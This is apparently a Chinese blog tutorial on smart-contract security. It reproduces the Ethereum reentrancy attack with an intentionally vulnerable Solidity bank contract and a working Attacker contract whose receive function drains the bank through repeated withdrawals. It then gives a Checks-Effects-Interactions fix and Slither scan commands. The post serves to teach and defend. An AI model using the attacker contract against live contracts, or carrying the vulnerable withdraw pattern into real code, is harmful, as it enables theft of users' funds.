本站域名已变更为https://blog.67v.cn,全新首页即将发布,尽情期待!!!

第十三天:合约安全——亲手复现一次重入攻击

The DAO 事件 6000 万美元被卷走、Parity 多签锁死 2.8 亿美元……以太坊历史上的事故绝大多数源于同一类错误。今天不复述历史,直接写一段带漏洞的合约、亲手攻击它、再修复它——这是理解安全的唯一路径。

漏洞版:先收钱再记账

code
// 漏洞版:状态更新放在外部调用之后
contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        (bool ok, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(ok, "transfer failed");
        balances[msg.sender] = 0;   // ← 记账在转账之后,重入的窗口期
    }
}

攻击合约在回退函数里递归调用 withdraw——因为余额还没清零,每次回调都能再取一次,直到合约金库被搬空:

code
contract Attacker {
    VulnerableBank bank;

    constructor(address _bank) { bank = VulnerableBank(_bank); }

    function attack() external payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    receive() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw();   // 重入:余额还没清零,再取一次
        }
    }
}

修复版:先记账,再付钱,外部调用最后做

code
contract FixedBank {
    mapping(address => uint256) public balances;

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "nothing to withdraw");
        balances[msg.sender] = 0;      // ① 先清零(Checks-Effects-Interactions 顺序)
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }
}

这就是著名的 Checks-Effects-Interactions(CEI)模式:先校验、再改状态、最后才与外部合约交互。加上 OpenZeppelin 的 ReentrancyGuard(nonReentrant modifier)做双保险,这个经典漏洞就彻底关闭了。

把静态分析纳入日常工作流

code
forge install crytic/slither --no-commit   # 或者直接 pip install slither-analyzer
slither src/ --solc-remaps @openzeppelin/=lib/openzeppelin-contracts/contracts/

Slither 能扫出重入、未检查的返回值、危险的 delegatecall 等几十类模式。今天的作业:把攻击合约部署到 anvil 真的打一遍(anvil 的打印日志会让你看清楚每一笔递归调用),然后跑 Slither 对比修复前后的报告。安全意识到此建立——下一篇我们把视野拉高,看看 Layer2 和更大的生态。

读完了点一下,作者能得积分

赞赏

如果这篇内容帮到了你,不妨请作者喝杯咖啡

分享 微博 QQ

发表评论

发表评论